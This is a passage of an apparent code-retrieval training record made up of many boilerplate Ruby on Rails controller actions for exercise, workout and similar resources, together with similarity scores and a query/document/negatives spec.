"def exercises\n ids = self.exercise_records.pluck(:exercise_id)\n Exercise.where(id: ids)\n end", "def show\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @intake_question }\n end\n end", "def index\n @exercise_names = ExerciseName.all\n end", "def show\n @solution = Solution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solution }\n end\n end", "def new\n @exercice = Exercice.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercice }\n end\n end", "def new\n @exercise_log = ExerciseLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_log }\n end\n end", "def index\n @ideas = Idea.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ideas }\n end\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end" ]
[ "0.76870173", "0.76870173", "0.76333475", "0.7607911", "0.7484267", "0.7484267", "0.743832", "0.7418293", "0.72972757", "0.7151746", "0.7130306", "0.70675737", "0.69919556", "0.69903964", "0.6952406", "0.69257784", "0.69257784", "0.68399256", "0.6820712", "0.6820712", "0.6820712", "0.6820712", "0.6798437", "0.6790113", "0.6786527", "0.67783105", "0.6760029", "0.6695945", "0.6670315", "0.6670315", "0.66692317", "0.6638679", "0.6587228", "0.65448767", "0.6538161", "0.6463188", "0.6435478", "0.6423579", "0.6410928", "0.6354351", "0.63288987", "0.62737584", "0.62726086", "0.62671226", "0.6251571", "0.62321377", "0.6219692", "0.6210092", "0.6192606", "0.61924374", "0.61872876", "0.61601615", "0.61598706", "0.61598706", "0.61598706", "0.61598706", "0.6158414", "0.6156074", "0.6150313", "0.6102124", "0.60963845", "0.60943484", "0.60943484", "0.6087259", "0.6087259", "0.60855794", "0.6082472", "0.60705924", "0.606576", "0.6063893", "0.60584843", "0.6056034", "0.60514075", "0.60475695", "0.60475695", "0.6046177", "0.6045129", "0.6041642", "0.6036317", "0.6034866", "0.60317147", "0.6026509", "0.6013084", "0.60042256", "0.59979016", "0.59979016", "0.5991848", "0.59905046", "0.5981465", "0.59775096", "0.59697264", "0.5962272", "0.59537363", "0.59517795", "0.59487367", "0.5945807", "0.5942824", "0.5941648", "0.5937259", "0.5930195", "0.5923893" ]
0.0
-1
GET /exercises/new GET /exercises/new.json
def new @exercise = Exercise.new respond_to do |format| format.html # new.html.erb format.json { render :json => @exercise } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n end", "def new\n @exercice = Exercice.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercice }\n end\n end", "def new\n @exercise_set = ExerciseSet.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def new\n @do_exercise = DoExercise.new(params[:do_exercise])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @do_exercise }\n end\n end", "def new\n @daily_exercise = DailyExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def new\n @patient_exercise = PatientExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def new\n @exercise_category = ExerciseCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_category }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @exercise_instruction = ExerciseInstruction.new\n @exercise_instruction.exercise_id = params[:exercise_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_instruction }\n end\n end", "def new\n @exercise_log = ExerciseLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_log }\n end\n end", "def new\n @exercise_categories = ExerciseCategory.all\n @exercise_category = ExerciseCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_category }\n end\n end", "def new\n @exercise = Exercise.setup\n respond_with(@exercise)\n end", "def new\n @solution = @idea.solutions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solution }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def new\n @exercise_plan = ExercisePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exercise }\n end\n end", "def new\n @exam = Exam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exam }\n end\n end", "def new\n @lecture = Lecture.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lecture }\n end\n end", "def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n flash[:class] = \"alert alert-success\"\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n flash.now[:error] = @exercise.errors.full_messages\n format.html { render action: \"new\"}\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render action: 'show', status: :created, location: @exercise }\n else\n format.html { render action: 'new' }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @experiment = Experiment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment }\n end\n end", "def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end", "def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end", "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment }\n end\n end", "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment }\n end\n end", "def create\n @exercise = @workout.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: I18n.t('exercises.created') }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @solution = Solution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solution }\n end\n end", "def new\n @title = 'Add Exercise'\n @exercise = Exercise.new\n @exercise.exercise_category = ExerciseCategory.new\n end", "def create\n @exercise = current_user.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Uebung was successfully created.' }\n format.json { render action: 'show', status: :created, location: @exercise }\n else\n format.html { render action: 'new' }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @experiment }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @lift = Lift.new\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lift }\n end\n end", "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end", "def new\n @intake_question = IntakeQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intake_question }\n end\n end", "def new\n @practice = Practice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @practice }\n end\n end", "def new\n @program = Program.new\n\t@program.program_exercises.build\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @program }\n end\n end", "def create\n @api_v1_exercise = Api::V1::Exercise.new(api_v1_exercise_params)\n\n respond_to do |format|\n if @api_v1_exercise.save\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_exercise }\n else\n format.html { render :new }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @my_exercise = MyExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @my_exercise }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @study = Study.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @study }\n end\n end", "def new\n @problem = Problem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @problem }\n end\n end", "def new\n @problem = Problem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @problem }\n end\n end", "def new\n @gotcha = Gotcha.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gotcha }\n end\n end", "def new\n @casestudy = Casestudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @casestudy }\n end\n end", "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notes }\n end\n end", "def new\n\t\t@tutorial = Tutorial.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render :json => @tutorial }\n\t\tend\n\tend", "def new\n @case_study = CaseStudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @case_study }\n end\n end", "def new\n @case_study = CaseStudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @case_study }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@todo}\n end\n end", "def new\n @todo = @list.todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @contest = Contest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contest }\n end\n end", "def new\n @contest = Contest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contest }\n end\n end", "def new\n @problem = Problem.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @problem }\n end\n end", "def new\n @contest = Contest.new\n @problem_count = 4\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contest }\n end\n end", "def new\n @problem = Problem.new\n @problem.answers.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @problem }\n end\n end", "def new\n @completed_quest = CompletedQuest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def new\n @study = Study.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @study }\n end\n end", "def new\n @lecture = Lecture.new\n @course = Course.find(params[:course_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lecture }\n end\n end", "def new\n @interesting = Interesting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interesting }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @puzzle = Puzzle.new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puzzle }\n end\n end", "def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end", "def new\n @quest_tree = QuestTree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest_tree }\n end\n end", "def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @my_exam = MyExam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_exam }\n end\n end", "def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trial }\n end\n end", "def new\n @contest = Contest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @contest }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tips_trick }\n end\n end", "def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def new\n @tip = Tip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tip }\n end\n end", "def new\n if params[:date]\n @workout = current_user.workouts.build(:workout_date => params[:date])\n else\n @workout = current_user.workouts.build\n end\n @exercise = @workout.exercises.build\n @exercise.exercise_sets.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "def new\n @training = Training.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to(@exercise, :notice => 'Exercise was successfully created.') }\n format.xml { render :xml => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @idea = Idea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @idea }\n end\n end", "def new\n @idea = Idea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @idea }\n end\n end", "def new\n @idea = Idea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @idea }\n end\n end", "def new\n @idea = Idea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @idea }\n end\n end", "def new\n @lab = Lab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab }\n end\n end", "def new\n @lab = Lab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab }\n end\n end" ]
[ "0.80460995", "0.80460995", "0.80460995", "0.80460995", "0.7976122", "0.758775", "0.745661", "0.7445238", "0.73545176", "0.7348174", "0.72896", "0.72124213", "0.71821404", "0.7179046", "0.7167674", "0.7153269", "0.710674", "0.71045464", "0.70961505", "0.70467615", "0.7033909", "0.7009192", "0.6955849", "0.69554955", "0.6954036", "0.69414556", "0.69298047", "0.6921091", "0.6902189", "0.6866687", "0.6866687", "0.68581253", "0.68581253", "0.6851952", "0.6848472", "0.68261164", "0.68259287", "0.6790659", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.677195", "0.67574745", "0.675452", "0.6752606", "0.6747866", "0.67199117", "0.6697625", "0.6675696", "0.6675696", "0.6675696", "0.6675696", "0.6675696", "0.6672543", "0.6653572", "0.6653572", "0.66525424", "0.6639759", "0.66367507", "0.66354406", "0.66332585", "0.66332585", "0.6629472", "0.6620927", "0.6618664", "0.6618664", "0.6618328", "0.6616583", "0.6616505", "0.66144776", "0.66089547", "0.66063607", "0.6604327", "0.66032517", "0.66032517", "0.66032517", "0.66032517", "0.66032517", "0.65968275", "0.6584943", "0.6583677", "0.65681106", "0.6561905", "0.6561877", "0.6556319", "0.65561336", "0.6554095", "0.65498453", "0.65402085", "0.65331817", "0.65301776", "0.652759", "0.65259874", "0.65259874", "0.65259874", "0.65259874", "0.6523253", "0.6523253" ]
0.78858
5
POST /exercises POST /exercises.json
def create @exercise = Exercise.new(params[:exercise]) respond_to do |format| if @exercise.save flash[:class] = "alert alert-success" format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' } format.json { render :json => @exercise, :status => :created, :location => @exercise } else format.html { render :action => "new" } format.json { render :json => @exercise.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @api_v1_exercise = Api::V1::Exercise.new(api_v1_exercise_params)\n\n respond_to do |format|\n if @api_v1_exercise.save\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_exercise }\n else\n format.html { render :new }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = @workout.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: I18n.t('exercises.created') }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = current_user.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Uebung was successfully created.' }\n format.json { render action: 'show', status: :created, location: @exercise }\n else\n format.html { render action: 'new' }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n flash.now[:error] = @exercise.errors.full_messages\n format.html { render action: \"new\"}\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render action: 'show', status: :created, location: @exercise }\n else\n format.html { render action: 'new' }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:workout_id, :title, :sets, :reps)\n end", "def create\n @exercise = current_user.exercises.build(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to exercise_weight_logs_path(@exercise)}\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @performed_exercise = PerformedExercise.new(performed_exercise_params)\n\n respond_to do |format|\n if @performed_exercise.save\n format.html { redirect_to @performed_exercise, notice: 'Performed exercise was successfully created.' }\n format.json { render :show, status: :created, location: @performed_exercise }\n else\n format.html { render :new }\n format.json { render json: @performed_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:name, :kata_details)\n end", "def create\n @do_exercise = DoExercise.new(params[:do_exercise])\n\n respond_to do |format|\n if @do_exercise.save\n format.html { redirect_to @do_exercise, notice: 'Do exercise was successfully created.' }\n format.json { render json: @do_exercise, status: :created, location: @do_exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @do_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def api_v1_exercise_params\n params.require(:api_v1_exercise).permit(:title, :description, :deadline, :visible_date, :do_plagiarism_check, :exercise_test, :exercise_hidden_test, :exercise_stub)\n end", "def exercise_params\n params.require(:exercise).permit(:name)\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n\n end", "def exercise_params\n params.require(:exercise).permit(:name, :muscles)\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n end", "def create\n @exercise = Exercise.new(exercise_params)\n @exercise.author = current_user\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: \"Exercise was successfully created.\" }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:body, :last_import, :category_id)\n end", "def create\n @patient_exercise = PatientExercise.new(params[:patient_exercise])\n\n respond_to do |format|\n if @patient_exercise.save\n format.html { redirect_to @patient_exercise, notice: 'Patient exercise was successfully created.' }\n format.json { render json: @patient_exercise, status: :created, location: @patient_exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @patient_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def exercise_params\n params.require(:exercise).permit(:date, :exercise, :weight, :reps, :max, :bulk, :tone, :user_id)\n end", "def create\n @exercise = Exercise.all.map{ |c| [c.name, c.id]}\n @training = Training.new(training_params)\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Training was successfully created.' }\n format.json { render :show, status: :created, location: @training }\n else\n format.html { render :new }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to(@exercise, :notice => 'Exercise was successfully created.') }\n format.xml { render :xml => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def exercise_params\n params.require(:exercise).permit(:name, :description, :time, :workout_id)\n end", "def new\n @do_exercise = DoExercise.new(params[:do_exercise])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @do_exercise }\n end\n end", "def create\n @exercise_set = ExerciseSet.new(params[:exercise_set])\n\n respond_to do |format|\n if @exercise_set.save\n format.html { redirect_to @exercise_set, notice: 'Exercise set was successfully created.' }\n format.json { render json: @exercise_set, status: :created, location: @exercise_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:name, :question, :feedback,\n :experience, :id, :is_public, :priority, :question_type,\n :exercise_version, :exercise_version_id, :commit,\n :mcq_allow_multiple, :mcq_is_scrambled, :languages, :styles,\n :tag_ids)\n end", "def create\n @daily_exercise = DailyExercise.new(params[:daily_exercise])\n\n respond_to do |format|\n if @daily_exercise.save\n format.html { redirect_to @daily_exercise, notice: 'Daily exercise was successfully created.' }\n format.json { render json: @daily_exercise, status: :created, location: @daily_exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @daily_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @do_exercises = DoExercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @do_exercises }\n end\n end", "def create\n @exercise_task = ExerciseTask.new(exercise_task_params)\n \n respond_to do |format|\n if @exercise_task.save\n format.html { redirect_to @exercise_task, notice: 'Exercise task was successfully created.' }\n format.json { render :show, status: :created, location: @exercise_task }\n else\n format.html { render :new }\n format.json { render json: @exercise_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:name, :trainingsart, :anzset, :anzwdh, :beschreibung, :muskelgruppe, :published)\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def addExistingExercise\n @workout_day = WorkoutDay.find(params[:id])\n exerciseId = params[:exercise][:id]\n\n exercise = Exercise.find(exerciseId)\n\n if !exercise.nil?\n @workout_day.exercises << exercise\n end\n\n @workout_day.save\n\n respond_to do |format|\n format.html { redirect_to @workout_day, notice: 'Exercise successfully added' }\n format.json { render json: @workout_day, status: :created, location: @workout_day }\n end\n end", "def create\n @exerciseoverview = Exerciseoverview.new(exerciseoverview_params)\n\n respond_to do |format|\n if @exerciseoverview.save\n format.html { redirect_to @exerciseoverview, notice: 'Exerciseoverview was successfully created.' }\n format.json { render action: 'show', status: :created, location: @exerciseoverview }\n else\n format.html { render action: 'new' }\n format.json { render json: @exerciseoverview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @programme_exercise = ProgrammeExercise.new(programme_exercise_params)\n\n respond_to do |format|\n if @programme_exercise.save\n format.html { redirect_to @programme_exercise, notice: 'Programme exercise was successfully created.' }\n format.json { render action: 'show', status: :created, location: @programme_exercise }\n else\n format.html { render action: 'new' }\n format.json { render json: @programme_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @exercise_set = ExerciseSet.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def create\n @exercice = Exercice.new(params[:exercice])\n\n respond_to do |format|\n if @exercice.save\n format.html { redirect_to @exercice, notice: 'Exercice was successfully created.' }\n format.json { render json: @exercice, status: :created, location: @exercice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercice.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @my_exercise = MyExercise.new(params[:my_exercise])\n\n respond_to do |format|\n if @my_exercise.save\n flash[:notice] = 'MyExercise was successfully created.'\n format.html { redirect_to(@my_exercise) }\n format.xml { render :xml => @my_exercise, :status => :created, :location => @my_exercise }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @my_exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @exercise_name = ExerciseName.new(exercise_name_params)\n\n respond_to do |format|\n if @exercise_name.save\n format.html { redirect_to @exercise_name, notice: 'Exercise name was successfully created.' }\n format.json { render :show, status: :created, location: @exercise_name }\n else\n format.html { render :new }\n format.json { render json: @exercise_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url 